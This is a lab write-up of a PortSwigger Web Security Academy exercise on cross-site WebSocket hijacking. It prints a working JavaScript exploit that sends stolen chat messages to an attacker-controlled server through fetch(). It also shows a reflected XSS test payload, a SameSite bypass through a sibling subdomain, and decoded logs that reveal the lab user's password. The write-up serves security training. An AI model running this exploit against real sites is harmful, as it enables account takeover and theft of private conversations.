This lab's live chat feature is vulnerable to (). To solve the lab, log in to the victim's account.
To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim's chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.
If you haven't done so already, we recommend completing our topic on before attempting this lab.
Approach
After accessing the lab, I went straight to the chat page while proxying my requests through Burp Suite. In the HTTP history, I saw an interesting request pointing to a JavaScript file:
GET /resources/js/chat.js HTTP/2
Host: 0ad4007903f8d8e98161768200ba008b.web-security-academy.net
Cookie: session=mRalVx3cATzBc9BXw2TvRVAPa2lUEEfs
...
Two things stood out in the response:
Access-Control-Allow-Origin header: This header pointed to another domain, https://cms-0ad4007903f8d8e98161768200ba008b.web-security-academy.net.
function openWebSocket(): This function indicated the presence of WebSockets, suggesting that the live chat functionality is WebSocket-based.
I decided to check the WebSocket history in Burp Suite to see if I could find anything interesting. I discovered that sending the READY command to the WebSocket server would respond with the full chat history, providing a way to retrieve the victim's chat history.
Next, I wrote a simple exploit and hosted it on my exploit server. This script, when visited by the victim, would start a WebSocket connection with the chat server, send the READY command, and then send the received data to my exploit server.
Here is the script:
<script>
var ws = new WebSocket('wss:/0ad4007903f8d8e98161768200ba008b.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://exploit-0a8b00510305d891817c750d01480033.exploit-server.net/exploit?recieved_data='+btoa(event.data));
};
</script>
After storing this script and delivering it to the victim, I checked the logs on my exploit server and found a request with base64 encoded data:
GET /exploit?recieved_data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
Decoding this data in Burp's decoder revealed:
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
This indicated the start of the WebSocket connection but no chat history. I realized the victim's cookie did not get through to the chat endpoint due to the SameSite=Strict attribute, which prevents cookies from being sent in cross-site requests.
To bypass this restriction, I utilized the domain found in the Access-Control-Allow-Origin header. The lab URL was:
These URLs have different origins but the same site, web-security-academy.net. This allows for cross-site WebSocket hijacking.
Visiting the CMS URL, I found a login form that reflected the username in a paragraph tag:
<p>Invalid username: ichyaboy</p>
Testing with a simple XSS payload (<script>alert(1)</script>), I confirmed it worked, even though the form sent a POST request. By changing the method to GET, I ensured the exploit could work.
After pasting this script into my exploit server and delivering it to the victim, I checked my exploit server logs and found these requests:
GET /exploit?recieved_data=eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ==
GET /exploit?recieved_data=eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0=
GET /exploit?recieved_data=eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgZ3RzMmR5cWRvODRkcWJ1Znh2OHAifQ==
GET /exploit?recieved_data=eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9
GET /exploit?recieved_data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
Decoding these data in Burp's decoder revealed the full chat history of Carlos:
{"user":"Hal Pline","content":"Hello, how can I help?"}
{"user":"You","content":"I forgot my password"}
{"user":"Hal Pline","content":"No problem carlos, it's gts2dyqdo84dqbufxv8p"}
{"user":"You","content":"Thanks, I hope this doesn't come back to bite me!"}
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
I could clearly see Carlos's password. By simply logging in with that password as the Carlos user, the lab was solved.